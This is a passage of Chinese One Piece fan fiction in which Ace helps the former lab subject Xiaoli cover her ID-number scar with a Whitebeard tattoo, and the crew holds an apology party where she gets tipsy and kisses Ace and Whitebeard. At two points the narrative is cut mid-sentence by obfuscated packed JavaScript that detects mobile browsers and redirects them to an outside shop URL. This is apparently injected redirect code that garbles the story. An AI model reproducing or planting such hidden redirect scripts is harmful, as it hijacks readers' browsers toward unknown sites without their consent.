他们先按照马尔科的清单,去采购必需的物资。小狸牢记叮嘱,在“老亨利的杂货铺”外排了不短的队,才买到那些珍贵的药材,还认真检查了年份和品相。艾斯则负责扛起那些比较重的补给品。 东西买得差不多了,两人的步伐也变得悠闲起来。小狸手里拿着一串裹着晶莹糖浆的、不知名水果做的糖葫芦,正满足地眯着眼舔着,忽然,她的目光被街对面一家店铺的招牌牢牢吸引住了。 那家店的招牌画得非常夸张——一个手臂上布满了密密麻麻、风格各异的纹身图案的壮汉。店铺的门面不大,但招牌上“闪电山姆纹身店”几个字却张扬无比。 小狸舔糖葫芦的动作停了下来。她看着那个招牌,又下意识地轻轻抚摸了一下自己左侧上臂的位置。隔着柔软的布料,她仿佛还能感觉到那片皮肤上,曾经被激光刻印留下的、微微凸起的疤痕触感——5224。那个伴随了她整个实验室生涯、象征着她非人过往的冰冷编号。 一个念头,如同破土而出的嫩芽,毫无预兆地,却异常坚定地,钻进了她的脑海。 艾斯注意到她停下了脚步,顺着她的视线看去,也看到了那家纹身店。他几乎是立刻,就明白了她此刻在想什么。 小狸慢慢转过头,仰起脸看向艾斯。她没有说话,只是伸出那只空着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941765|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,指尖轻轻拉了拉艾斯垂在身侧的手指。 艾斯感觉到指尖传来的、微凉而柔软的触感。他低头,对上她那双清澈的、带着询问和恳求的蓝色眼眸。他没有任何犹豫,反手握住了她微凉的小手,宽厚温暖的手掌将她整个拳头都包裹了进去。然后,他抬起另一只手,温柔地、带着安抚意味地,揉了揉她的发顶。 “很痛哦” “我不怕痛的!” …… 痛死了! 纹身店那扇略显斑驳的木门被从里面推开。小狸眼眶红红的,鼻头也红红的,像是狠狠哭过一场。 但现在,所有的疼痛都变得值得了。 她微微抬起左臂,原本刻着冰冷数字“5224”的地方,此刻被一个崭新的图案所取代——那是白胡子海贼团的标志,线条简洁却充满力量感,带着弯月胡子的白色骷髅,在她白皙的皮肤上显得格外醒目。周围的皮肤因为刚才的刺激还泛着明显的红肿,摸上去有些发热,甚至有些刺痛,但小狸看着它,心里却涌起一股前所未有的、滚烫的暖流和踏实感。 那片曾经象征着孤立、实验品身份、与“人类”世界格格不入的烙印,消失了。取而代之的,是家的标志,是归属的证明,是被认可、被接纳、被珍视的印记。它覆盖的不仅仅是皮肤,更是她心底某个一直隐隐作痛的角落。 她爱惜地用指尖,极其轻柔地、隔着一点距离,虚虚地描摹着那个图案的轮廓。然后,她抬起头,看向艾斯,眼眶还是红的,嘴角却努力向上扬起,绽开一个混合着痛楚余韵、却又无比明亮满足的笑容。她像展示最珍贵的宝物一样,将手臂抬得更高了一些。 “哥哥,看!”她的声音还带着一点点哭过后的沙哑,但里面的雀跃和骄傲清晰可辨。 艾斯看着她手臂上那个崭新的、红肿却意义非凡的纹身,又看着她那双盛满了璀璨笑意的蓝眼睛。心像是被最柔软的羽毛轻轻搔刮了一下,又像是被温热的泉水彻底浸透。 然后,他才像变魔术般,从身后拿出了一个小小的、包装朴素的木盒,递到她面前。 小狸疑惑地接过,盒子有点沉。她打开盒盖—— 一只小巧的、外壳呈现橘红色、带着螺旋花纹的电话虫,正静静地趴在铺着柔软干苔藓的盒子里。它似乎正在睡觉,眼睛紧紧闭着,头顶的两根小触角也软软地耷拉着,随着它平稳的呼吸微微起伏。 “电话虫!!!” 小狸的眼睛瞬间瞪得溜圆,里面迸发出比刚才看到纹身时更加耀眼的光彩。她几乎是屏住了呼吸,小心翼翼地将盒子捧到眼前,像是怕惊扰了这个小生物的安眠。她看看电话虫,又抬头看看艾斯,然后再低头看看电话虫,脸上的笑容越来越大。 “真的是电话虫!”她压低声音,但喜悦几乎要从每个音节里溢出来。她像拿到了梦寐以求的宠物的小朋友,将盒子紧紧抱在怀里,爱不释手,脸颊甚至无意识地蹭了蹭光滑的盒壁。 “我们回去按你喜欢的样式装饰它吧,”艾斯看着她开心的样子,也笑了起来,“我会帮忙的。” “嗯!”小狸用力点头,目光几乎粘在了电话虫身上。忽然,她想起什么,抬头问道:“为什么艾斯哥哥没有电话虫呢?马尔科先生、萨奇先生他们好像都有。” “……” 艾斯脸上的笑容瞬间僵了一下,然后极其不自然地转向了旁边,抬手摸了摸自己的后颈,眼神开始飘忽。某个被他遗忘在船舱某个角落、因为长期无人喂食而饿得奄奄一息、最后被马尔科发现并抢救回来、至今对他爱答不理的可怜电话虫的影子,迅速掠过脑海。 “这个嘛……嗯……有时候,不太方便……”他含糊其辞,试图蒙混过关。 小狸眨眨眼,看着他明显回避的态度,体贴地没有再追问,重新低下头,笑眯眯地看着自己盒子里那只睡得正香的小家伙,声音轻柔得像在说悄悄话:“我要给你起个名字……叫什么好呢?‘嘟嘟’?还是‘噜噜’?到时候可以把你装在我的小包里,走到哪里都带着你~” 艾斯好奇的看着她“为什么叫嘟嘟,噜噜?” “电话虫不都是这么叫的么?” “那以后你也叫喵喵吧。” 小狸一时间没有反应过来,“也对,我叫喵喵,那你叫什么啊……” 艾斯被她傻乎乎的样子逗乐了,嘴角勾起坏笑“我叫艾斯啊。” 发现自己又被耍了的小狸气炸了,艾斯却在她反应过来之前跑出老远,她气呼呼的追出去,但是明明扛着重物的艾斯却跑的比她还快 “艾斯!!!!” “加把劲啊,喵喵。” 加把劲啊,喵喵! 39. 愿望 夕阳西斜,采购清单上的物品早已买齐,两人走走停停,享受着这难得的悠闲时光。 路过一个玉米饼摊时,空气中弥漫的霸道香气,再次成功拦截了小狸的脚步。金黄色的饼子在铁板上煎得滋滋作响,看起来格外诱人。小狸不自觉地咽了咽口水,肚子也配合地发出小小的“咕噜”声。她抬起头,用那双写满了“我想吃”的蓝眼睛,巴巴地望向艾斯。 然而,这一次,艾斯却异常坚定地摇了摇头,伸手拦在了她和摊位之间。 “不行哦。”他的语气不容商量,“现在吃这种饱腹感这么强的东西,一会儿回去正餐该吃不下了。”他顿了顿,想起某个正在船上可能忙得热火朝天的厨师长,补充道,“萨奇会哭的哦。” “只吃一点点……”小狸不甘心,伸出两根手指比划了一个“一点点”的手势,“拜托……哥哥……剩下的,哥哥帮我吃掉就好了嘛……” “……”艾斯看着她这副样子,只能叹了口气,妥协道:“只吃一点点哦。真的只能尝一口。” “好哎!”小狸立刻欢呼,刚才那点可怜相瞬间消失无踪。 艾斯买了一个玉米饼。小狸接过来,迫不及待地吹了吹,然后张大嘴,啊呜——咬下了……真的只有很小的一口。她咀嚼了两下,脸上的兴奋表情微妙地凝滞了一瞬,随即变得有些复杂。她又小心地咬了第二口,更小的一口,眉头几不可查地蹙了蹙。 然后,她抬起头,将剩下的大半个、还冒着热气的玉米饼,毫不犹豫地塞进了艾斯手里。 “哥哥,给你。”她的声音听起来无比“体贴”和“遵守承诺”,“我吃饱了。” 艾斯:“……”他看着手里这块卖相不错、热气腾腾的饼,又看看小狸那一脸“我很乖我只吃了一点点”的无辜表情,心中了然。他接过饼,咬了一大口。 “……” 干,硬,粗糙,调味也寡淡,只有表面的油和一点点盐味。确实……挺难吃的。难怪这小家伙这次“放手”得如此干脆利落。 他三下五除二,面不改色地把那个并不美味的饼子吞进了肚子里,拍了拍手。“好了,走吧。天快黑了,该回去了。” 小狸偷笑着,心满意足地跟在他身边,尾尖愉快地翘着。夕阳将两人的影子拉得很长,交织在一起,缓缓向着港口的方向移动。 --- 当火焰小艇载着他们回到莫比迪克号附近时,天色已经完全暗了下来。原本这个时候应该灯火通明、传来各种喧嚣声响的巨船,此刻却一片漆黑,静悄悄的,连往常规律闪烁的警示灯都没有亮起。 “大家……都休息了吗?”小狸趴在船头,疑惑地歪着头“今天好早哦……不会出什么事了吧?” 火焰小艇靠上船舷,艾斯先跳上去,然后转身向她伸出手。小狸握住他的手,借力踏上了甲板。 她往前走了两步,试探性地轻声喊道:“有人吗?马尔科先生?萨奇先生?” 她的声音在空旷的甲板上显得格外清晰,甚至带着一点点回音,但没有任何回应。 就在她心中的疑惑和不安即将达到顶点时—— “啪!” “啪啪啪——!!!” 刹那间,仿佛有人按下了某个神奇的开关!悬挂在桅杆、缆绳、船舷各处的彩灯、灯笼、甚至还有临时拉起的、缠绕着小灯泡的线串,在同一时间骤然亮起! 马尔科,萨奇,比斯塔,乔兹,以藏,丢斯,米娅,护士姐姐们,无数熟悉的面孔……他们脸上带着灿烂的、期待的笑容。 “惊喜——!!!” “咻——啪!”彩带被拉响,五颜六色的细长纸带从天而降,纷纷扬扬地落在她身上,让她彻底愣住了。 她呆呆地站在甲板中央,微微张着嘴,蔚蓝色的猫瞳睁得圆溜溜的,里面倒映着飞舞的彩带,还有周围每一张熟悉而温暖的笑脸。完全是一副被这突如其来的盛大场面冲击得状况外的样子。 她的目光缓缓移动,看到了横跨在主桅杆之间的、那条巨大无比的红色横幅。上面用夸张的、甚至有点歪歪扭扭的字体写着:“小狸!对不起!!!”而在那排大字后面,还用黑色颜料画了一整排表情各异的、丑丑的哭脸,有的眼泪画得比眼睛还大,有的嘴巴咧到耳根,滑稽十足。 就在她还没从横幅的冲击中回过神来时,萨奇推着一个几乎有他半人高的、装饰得无比华丽的蛋糕车,从人群后方走了出来,一直走到小狸面前才停下。他摸了摸自己那个标志性的牛排头,脸上惯常的爽朗笑容里难得地掺入了一丝显而易见的紧张和歉意。他蹲下身,让自己的视线与小狸齐平。 “小狸,”他的声音比平时柔和了许多,“今天这个……是道歉派对。”他指了指身后的横幅和蛋糕,“我们大家……嗯,主要是我们几个那天瞎起哄的家伙,想正式跟你道个歉。那天……我们真的没有恶意,就是觉得好玩,逗你玩来着,没想到让你那么不好意思……对不起啊,小狸。原谅我们吧,好不好?” 他的眼神真诚,甚至带着点小心翼翼的恳求。周围的其他船员,尤其是那天参与“教导”的比斯塔、以藏等人,也纷纷点头,脸上露出歉然的笑容。 护士姐姐们也从人群中走出来,她们今天没有穿那身标志性的粉色护士裙,而是换上了更日常的便服。她们爱怜地围过来,轻轻抚摸小狸的头发和后背。 “那群臭男人太坏了,就知道瞎起哄!”一位姐姐说道,温柔地捏了捏小狸的脸颊,“我们小狸本来就很漂亮,很可爱,根本不需要学那些。下次要是真想打扮,姐姐们帮你,保证画得美美的!” “对啊,其实你现在这样子就最好看了,干干净净,清清爽爽的,多招人喜欢。”另一位姐姐附和道。 小狸看着萨奇诚恳的脸,听着姐姐们温柔的安慰,感受着周围所有人目光中的关切和善意,心里像是酸甜交织,又暖又涨。她想说,其实她没有真的生气,只是太羞耻了,一时半会儿不知道怎么面对。她想说,那些化妆品和豹纹裙,她暂时可能再也不想碰了。但此刻,被这样盛大而真挚的“道歉”包围着,那些解释的话反而堵在喉咙口,怎么也说不出来,只剩下一股滚烫的热流,直冲眼眶。 “我……”她张了张嘴,声音有点哽咽。 萨奇没等她说完,像是怕她拒绝,又像是急于表达诚意,不知道从哪里飞快地掏出一根细长的火柴,“嗤”地一声划亮,点燃了蛋糕顶端那根唯一的蜡烛。温暖的烛火跳跃起来,在明亮的灯光下并不显眼,却仿佛带着某种郑重的仪式感。 “来,许个愿吧!”萨奇将蛋糕又往前推了推,烛光映在他期待的脸上。 “……可是,”小狸看着那跳动的火苗,眨了眨有些湿润的眼睛,小声说,“今天不是我的生日呀。”说实在的,她甚至不知道自己的生日究竟是哪一天。实验室里只有编号和实验记录,没有生日这个概念。 “蛋糕当然要配蜡烛了!”萨奇理直气壮地说,然后又放软了声音,眼神格外认真,“而且,谁规定只有生日才能许愿了?今天是我们小狸的‘道歉接受日’!你的愿望,我们一定会努力帮你实现的!说到做到!” 你的愿望,我们一定会努力帮你实现的。 这句话,像一把钥匙,轻轻打开了小狸心底某个一直小心翼翼锁着的、装着许多微小期盼的盒子。 原来,这个就是……被爱着、被珍视、被一群人如此笨拙又热烈地放在心上的感觉吗? 她看着萨奇脸上那混合着期待、歉意和一丝紧张的表情,看着周围家人们关切的脸庞,看着横幅上那些画得丑丑的、却仿佛在拼命说“对不起”的哭脸,又看看眼前这个为了她特意准备的、华丽又可爱的蛋糕…… 眼眶里积蓄的热意终于再也承载不住,化为滚烫的泪水,毫无预兆地滑落下来。明明心里是那么开心,为什么眼泪却止不住呢?萨奇是坏蛋,丢斯是坏蛋,比斯塔他们也是坏蛋……可是…… 可是,这样的“坏蛋”,她好像……一点都不讨厌。甚至,明天可能也没办法继续“不理”他们了。 大家善意的笑声更加响亮,纷纷上前,用各自的方式安慰这只明显感动坏了、哭得梨花带雨的小猫。 “傻丫头,哭什么呀?快吹蜡烛许愿呀!”以藏用袖子帮她擦了擦眼泪,动作轻柔。 “就是!愿望要说大声点!”比斯塔捻着胡子,豪迈地笑道,“你今天就是要天上的星星,萨奇这个‘老妈子’也会想办法给你摘下来的!” “喂!比斯塔!说谁老妈子呢!”萨奇抗议,但脸上也是笑着的。 就在这时,艾斯走上前来。他一直没有说话,只是在一旁微笑着看着这一切。此刻,他走到小狸身边,伸出手,用指腹温柔地、仔细地拭去她脸颊上不断滚落的泪珠。然后,他弯下腰,手臂穿过她的膝弯和后背,微微一用力,就将她整个人稳稳地抱了起来。 小狸轻呼一声,下意识地搂住了他的脖子。 艾斯抱着她,走 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小狸看着他,又看看周围一双双饱含期待和祝福的眼睛。心里最后那点因为被“隐瞒”而产生的小小嗔怪,也烟消云散了,只剩下满满的、几乎要溢出来的暖意。 她重新将目光投向那簇跳动的、温暖的烛火。在众人安静下来、充满鼓励的注视中,她第一次,像那些故事书里描写的那样,双手在胸前合十,闭上眼睛,长长的睫毛上还沾着细小的泪珠。 她的愿望很简单,没有任何华丽的辞藻,甚至没有思考太久,几乎是顺从着内心最深处、最本能的渴望,一字一句,无比虔诚地、清晰地念了出来: “如果……如果愿望真的能实现……” 她停顿了一下,仿佛在确认这个奇迹般的时刻是真实的。 “我希望……每一个人,艾斯哥哥,老爹,马尔科先生,萨奇先生,乔兹师傅,丢斯,米娅姐姐,护士姐姐们,比斯塔先生,以藏先生……大家……” 她念着一个个名字,那些她来到这个世界后,给予她温暖、接纳、教导和陪伴的,重要的家人们的名字。 “永远……都能像现在这样,幸福、快乐地……在一起。” 她的声音不大,却清晰地传遍了突然安静下来的甲板。 “……” 没有预想中的欢呼或调侃。在她说出愿望的瞬间,甲板上出现了短暂的、奇异的寂静。 海风似乎都变得轻柔了,只轻轻拂动着旗帜和人们的衣角。 所有人都听到了她的愿望。那个意料之外的、简单到直白、却又沉重到让人心头一颤的愿望。没有索要任何具体的礼物,没有期盼任何个人的际遇,只是单纯地、全心全意地,希望这份此刻环绕着她的温暖和快乐,能够永恒。 这种纯粹得不含一丝杂质的祝愿,轻轻敲击在每个人心底最柔软的地方。不知道为什么,鼻尖忽然有点发酸,眼眶也有些发热。这群在海上叱咤风云、见惯了生死别离的人们,忽然被一个少女如此简单直白的心愿,晃得心漏跳了一拍,某种滚烫而柔软的情绪在胸腔里无声地膨胀。 但这种时候,谁也不好意思表现出来。尤其是这群惯常以豪迈不羁形象示人的海贼们。他们生怕被彼此看出自己那一瞬间的动容和失态,纷纷用更夸张的插科打诨和互相调侃,来掩饰那片刻的沉默和心底泛起的涟漪。 “喂喂!萨奇!听到没!小狸的愿望里可有你!压力大了啊!以后可得让大家一直幸福快乐才行!” “以藏!你眼睛红什么红!是不是海风吹进沙子了?哈哈哈!” “比斯塔!你的胡子在抖哦!感动就直说嘛!” “少啰嗦!我这是被蛋糕的甜味熏到了!萨奇你的手艺不行啊” 气氛重新变得热闹喧嚣起来,甚至比刚才更加热烈,仿佛要用这喧闹驱散那片刻过于动人的宁静。 小狸不明所以地看着大家忽然又兴奋起来,互相拍打着肩膀,笑得格外大声。虽然不明白他们为什么突然这样,但看着大家开心的笑脸,她的心里也像是被阳光彻底填满,暖洋洋,亮堂堂的。 她不再多想,重新看向眼前的蜡烛,然后鼓起腮帮子,用力地、却又带着点小心翼翼地,向前吹去—— “呼——” 烛火摇曳了一下,听话地熄灭了,只留下一缕淡淡的青烟,袅袅升起,很快消散在温暖的灯光和欢声笑语中。 小狸睁开眼睛,看着熄灭的蜡烛,脸上绽放出一个比任何灯火都要明亮、都要满足的笑容。 真好! 她在心里默默地说。 真好。 40. 甜蜜的负担 随着蜡烛熄灭,酝酿已久的狂欢宴会,正式席卷了整个甲板! “宴会开始——!!!” 不知是谁用尽力气吼了一嗓子,瞬间点燃了所有的热情。比之前更加丰盛、种类更加繁多的食物被源源不断地端上长桌 美酒更是如同不要钱般从仓库里搬出,木桶滚动的隆隆声不绝于耳。麦酒、朗姆酒、果酒……酒杯碰撞的清脆声响,豪迈的干杯声,畅快淋漓的吞咽声,交织成独属于莫比迪克的狂欢。 小狸抱着萨奇特调的果汁,眼巴巴的看着众人豪饮。虽然在莫比迪克上并没有什么严格的“未成年人禁止饮酒”的规矩,但小狸的情况比较特殊,她的酒量用马尔科的话说,是“与其说是差,不如说是身体对酒精异常敏感,代谢能力几乎为零”。早在她第一次好奇地舔了一口艾斯杯子里的麦酒后,不到十分钟,整只猫就变得只会傻笑点头或摇头,完全变成了一个思维迟钝的小呆瓜,最后直接趴在艾斯腿上睡得不省人事。 鉴于那次“惨痛”的经验,小狸被严格限制了酒精摄入。通常情况下,她只能喝果汁、牛奶或者度数极低、几乎尝不出酒味的甜果酒。 此刻,她抱着果汁杯,看着艾斯被一群船员围着拼酒,看着他爽朗大笑着仰头灌下一大杯麦酒;看着老爹举着那个堪比澡盆的巨大酒碗,和儿子们一个个碰杯;看着马尔科虽然还是那副半睡不醒的样子,但举杯的动作毫不含糊;看着萨奇一边烤肉一边还能抽空和大家对饮;看着比斯塔优雅的品着红酒,乔兹沉默地喝掉一整桶…… 直到小狸看到桌子上的一个小银壶,里面是一种颜色澄澈如蜜、散发着浓郁花果香气的液体。 那香气……好甜,好像混合了熟透的莓果、蜂蜜和某种清新的草本味道,隔着一段距离都能闻到。 味道像果汁……应该只有一点点酒…… 一次……就尝一点点,应该……没关系吧? 趁着大家无暇顾及,小狸做贼似的,飞快地溜到放着那壶果酒的小桌旁,拿起一个干净的、用来试味的小小银盏,迅速从壶里倒了一点点——真的只有盏底那么一丁点——然后像只偷到油的小老鼠,哧溜一下又缩回了自己的座位。 她紧张地看了看四周,似乎没人注意到。她端起那小盏果酒,小心翼翼地嗅了嗅,真的好香啊,比闻起来的更甜,更馥郁。然后,她极其谨慎地舔了一下。 !!! 甜!清爽的甜!莓果的酸味很好地平衡了蜂蜜的浓稠,尾调有一丝若有若无的、清凉的草本气息,几乎完全尝不出酒精的辛辣。完全……就是高级的果汁嘛! 警惕心瞬间被味蕾的愉悦击溃。她忍不住又喝了一小口,让那美妙的液体在口腔里停留片刻,才满足地咽下去。暖意顺着食道滑下,胃里很快升起一种舒服的、微微发热的感觉。 一盏底很快就喝完了。那种微醺的暖意拍打着理智的堤岸。她舔了舔嘴唇,意犹未尽。看看那壶酒,又看看热闹的人群……再一点点,就一点点…… 于是,第二盏底,第三盏…… 宴会进行到一半时,马尔科终于率先察觉到了某只小猫的不对劲。 那只原本安安静静抱着果汁杯、笑眯眯看热闹的小猫,此刻已经窝在椅子里缩成一团。她怀里抱着的已经不是果汁杯,而是不知道什么时候捞到手里的一个空了一半的小银壶,正无意识地用脸颊蹭着冰凉的壶身。那张白皙的小脸,从脸颊到耳尖,甚至纤细的脖颈,都染上了一层绯红。嘴角一直向上翘着,勾着一个傻乎乎、甜滋滋的笑容,仿佛看到了全世界最美好的景象,怎么压都压不下去。 马尔科叹了口气,就知道会这样。他穿过热闹的人群,走到她身边,弯下腰,让自己的视线与她齐平,温和地问道:“小狸,没事吧yoi?是不是又偷喝酒了?” 他的声音似乎过了几秒才传入小狸被酒精浸泡得有些迟钝的耳朵里。她慢吞吞地、幅度很大地摇了摇头,黑色的发丝随着动作晃动。她的目光依旧没有聚焦在马尔科脸上,而是飘忽着,越过他的肩膀,不知道到底聚焦到了哪里。 “是……果汁……” 她晃了晃脑袋,看向近在咫尺的马尔科,眼神依旧迷蒙,但话语却顺着最真实的心意流淌出来,带着一点甜腻的鼻音:“唔……我没事……马尔科先生……”她顿了顿,喃喃道,“我只是觉得……太幸福了……不知道该怎么办才好……” 她的声音更轻了,像是在自言自语: “……也不知道……该怎么回报大家……” 这带着醉意的、纯然感恩又有些无措的话语,听得马尔科心头一软。正想说些安慰她的话,一个看热闹不嫌事大、且显然没有从上次“豹纹裙事件”中吸取足够教训的身影,就带着一脸恶作剧得逞般的坏笑,凑了过来。 萨奇早就注意到小狸的状态了,甚至可能比她本人更早发现那壶特调果酒少了许多。他可是为数不多亲眼见识过小狸喝醉后那种“听话”的乖巧状态和惊人“执行力”的人之一。 此刻听到小狸的醉话,萨奇眼睛一亮,机会来了!他挤开马尔科,完全无视了后者警告的眼神,蹲到小狸面前,脸上堆起那种“我是你最可靠的大哥哥,我来帮你解决烦恼”的、充满蛊惑力的笑容,刻意压低了声音,用只有他们三个能听清的音量说道: “回报?哎呀,这很简单啊~”他拖长了调子,眼神瞟向不远处的艾斯,又转回来,对着小狸眨眨眼,“虽然不知道别人怎么想,但是你看艾斯那边——” 他故意停顿,等小狸迷蒙的视线再次追随他的示意,落在艾斯身上。 “——你要是现在过去,”萨奇的声音压得更低,带着恶魔般的引诱,“亲他一下,然后大声告诉他‘最喜欢你了’,我敢发誓,那小子绝对会当场幸福得晕过去!这难道不是最好的‘回报’吗?让他也体验一下这种‘幸福得不知道该怎么办’的感觉,嗯?” 他的逻辑在醉酒的猫咪听来,简直无懈可击,充满了诱人的可行性。 小狸歪着头,看着萨奇“真诚”的脸,又看了看灯光下艾斯英俊爽朗的侧影,那个笑容那么好看,让她心里暖烘烘的。 亲一下……说喜欢他……哥哥会幸福得晕过去……最好的回报…… 于是,在萨奇充满期待看热闹的目光和马尔科无奈扶额一副“我就知道会这样”的注视下,醉酒小猫晃晃悠悠地站了起来。 她先是趔趄了一下,马尔科下意识想扶,却被萨奇一把抱住,做了个“让她去”的口型,眼里闪烁着恶作剧的兴奋光芒。 小狸站稳了,深吸了一口气,仿佛在进行一项庄严的使命。然后,她迈开了脚步,坚定不移地朝着艾斯的方向“挪”了过去。 甲板上依旧喧嚣,但附近一些眼尖的船员已经注意到了这边的动向,交谈声和笑声不自觉地低了下去,好奇的目光纷纷投来,嘴角开始上扬。 小狸对周围的变化毫无所觉,她的世界里只剩下那个越来越近的身影。终于,她来到了艾斯身边,伸出小手,软绵绵地抓住了他的手臂,轻轻拽了拽。 “艾斯……” 艾斯正侧着头和白胡子说着什么,脸上还带着未散的笑意。感觉到手臂被拉扯,他下意识地低下头。 映入眼帘的,是小狸仰起的、红扑扑的脸。那双总是清澈灵动的蓝眼睛此刻蒙着水汽,眼神迷离失焦,却异常专注地看着他。 艾斯心里“咯噔”一下,立刻意识到:坏了,这小家伙又偷喝酒了! 他连忙弯下腰,脸上露出关切的神情:“怎么了小狸?是不是喝多了不舒服?头晕吗?想吐吗?” 他温热的呼吸拂在她发烫的脸颊上,带着淡淡的麦酒气息。酒精彻底淹没了最后一丝羞怯和理智。小狸看着这张脸,心里那个“回报”的念头如同沸腾的泡泡,冲破了所有阻碍。 就在艾斯等待着她的回答,以为她会说“头晕”或者“想睡觉”时—— 一个带着浓郁果酒甜香、温热而无比柔软的气息,毫无预兆地、结结实实地撞了上来! 位置有点偏,落在了介于嘴角和脸颊之间的那处皮肤。触感极其短暂,却无比清晰地烙印下了那份柔软的、微湿的触觉。 “最喜欢你了,哥哥~” “……” 轰————————!!!!!! 艾斯的身体,在这一刹那瞬间僵直!全身的血液仿佛在那一刻集体倒流,然后又在下一秒以百倍的速度轰然冲向头顶和四肢! 大脑一片空白。 所有的思维、所有的声音、所有的景象,都在那个柔软触感和甜糯声音袭来的瞬间,被一股无形却狂暴到极致的力量彻底清空、摧毁 刚…才…发…生…了…什…么…? 他的眼睛瞪大到极限,忘记了眨眼,只是愣愣地、直勾勾地,看着近在咫尺的那张泛着醉意红晕、还带着完成“任务”后傻乎乎、满足笑容的小脸。世界的声音消失了,周围的人群模糊了,连老爹近在咫尺的笑声都变得遥远而扭曲。 只有脸颊嘴角处,那一点被亲吻过的地方残留着清晰到灼人的、属于她的温度和柔软触感。还有鼻尖萦绕不散的、带着酒气的甜香,以及耳边反复回荡的、魔咒般的“最喜欢你了”…… 小狸……亲了他? 无数混乱的、激烈的、从未有过的情绪和念头在他空白一片的脑海里轰然炸开!震惊、茫然、难以置信、手足无措……但这些都只是前奏,紧随其后汹涌而来的,是一种他从未体验过的、近乎灭顶般的狂喜和悸动! 他的脸,以肉眼可见的、惊人的速度,瞬间爆红!从额头到下巴,从脸颊到耳根,甚至一路蔓延到脖颈和锁骨,全都染上了一层浓重得化不开的、如同火烧云般的绯红。整个人像一只被煮熟的虾子,僵在原地,连呼吸都忘记了,只有胸膛在剧烈地起伏,彰显着内心的滔天巨浪。 然而,这让人心脏停跳、大脑宕机的“回报”,还远远没有结束! 显然,醉酒状态下的小狸,对指令的执行是刻板而“全面”的。萨奇说的是“亲他一下”,但并没有限定“他”只能是艾斯。完成了对“哥哥”的“回报”,巨大的幸福感和“任务”完成的满足感,让她觉得自己找到了“回报大家”的完美方法! 她松开了抓着艾斯的手,转过身,眼神依旧迷蒙,但目标明确地锁定了下一个“回报”对象——那个正站在一旁,带着了然又促狭的笑容,看着眼前这出好戏的白胡子。 小狸摇摇晃晃地走到白胡子身旁。老爹实在太高大了,像一座小山。但这难不倒决心满满的小猫。她先是试图爬上去,手脚并用,动作笨拙的抱着他的小腿像只努力攀爬的小树懒。老爹见状,哈哈大笑着,非常配合地微微俯身,伸出手掌,轻轻托了她一下。 借助老爹的帮助,小狸成功爬上了他那肌肉虬结、如同岩石般坚硬的手臂。她摇摇晃晃地站稳,踮起脚尖,努力伸长了脖子,然后,在所有人的注视下,同样在老爹那布满岁月痕迹、带着慈祥笑容的粗糙脸颊上,响亮地“吧唧”亲了一口! “也最喜欢老爹了!”她用同样软糯却响亮的声音宣布,完成了对“最高家长”的“回报”。 接着,她的目光开始像探照灯一样,在甲板上搜寻下一个目标。马尔科先生?萨奇先生?乔兹师傅?米娅姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941767|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? “等、等等!!!” 就在小狸锁定马尔科,准备再次迈开她那醉醺醺的步伐时,一声近乎破音的惊呼终于从石化状态中挣脱出来! 是艾斯! 他终于从那个足以让他灵魂出窍的亲吻和告白中,找回了一丝丝溃散的理智。眼看这只醉猫要把这里变成“亲吻狂欢”,他一个箭步冲上前,一把就将这个散发着酒香的小小身体捞了回来,不让她再有任何乱动的机会。 “萨奇——!!!!!!” 艾斯抱紧怀里还在不安分扭动、试图探出头寻找“新目标”的小狸,猛地抬起头,又羞又恼又气地瞪向罪魁祸首的方向。 而萨奇,早就笑得直不起腰,捂着肚子,眼泪都快飙出来了,完全是一副恶作剧大成功、心满意足的模样,对艾斯的怒火瞪视完全免疫,甚至回以一个更加灿烂、更加欠揍的“不用谢我”的笑容。 艾斯听着周围毫不留情的调侃和笑声,闭了闭眼,深深、深深地吸了一口气,试图平复快要炸裂的心脏和混乱的思绪,但收效甚微。 他低下头,看着怀里的小狸。她已经放弃了寻找新目标,大概是因为被抱得太紧不舒服,正无意识地用发烫的小脸蹭着他的胸口,嘴里还在嘟嘟囔囔,声音含糊:“还要亲亲……回报……大家……喜欢……” 艾斯简直要被她这醉后的“博爱”弄得哭笑不得,心里暗自发誓:下次!绝对!不能再让这小家伙沾哪怕一滴酒了!不,是连酒味都不能让她闻到! 他不再理会萨奇的狂笑和众人的起哄,收紧手臂,将小狸更稳地抱在怀里,然后抬头对还在笑眯眯看戏的白胡子和众人快速说道:“她喝太多了,醉得厉害,我先送她回房间。” 说完他抱着小狸,以一种近乎“逃跑”的姿态,脚步凌乱的穿过还在爆笑和吹口哨的人群,一头扎进了通往船舱的走廊,将身后那片欢乐的海洋和无数道调侃的目光,连同自己震耳欲聋的心跳声,一起关在了门外。 --- 走廊里安静了许多,艾斯抱着小狸,快步走向她的房间。淡淡的果酒甜香和她的气息交织在一起,不断钻入他的鼻息,让他的脸颊温度始终无法降下来,心跳也依旧如同脱缰的野马。 好不容易走到房门口,他用脚轻轻踢开门,想把她放到那张铺着干净被褥的小床上。 然而,醉酒的小猫此刻却显露出了超乎寻常的“缠人”功力。她伸出双臂,紧紧地环住了他的腰身,整个人像只无尾熊一样,死死地扒在了他身上。 “哥哥……最喜欢了……” 她含混不清地呢喃着,温热的呼吸熨烫着他的皮肤。 “艾斯……嘿嘿……” 她发出一声傻笑,脸颊在他胸口满足地蹭了蹭。 “好幸福……好喜欢……” 她断断续续地说着,声音越来越小,越来越软糯 “!!!” 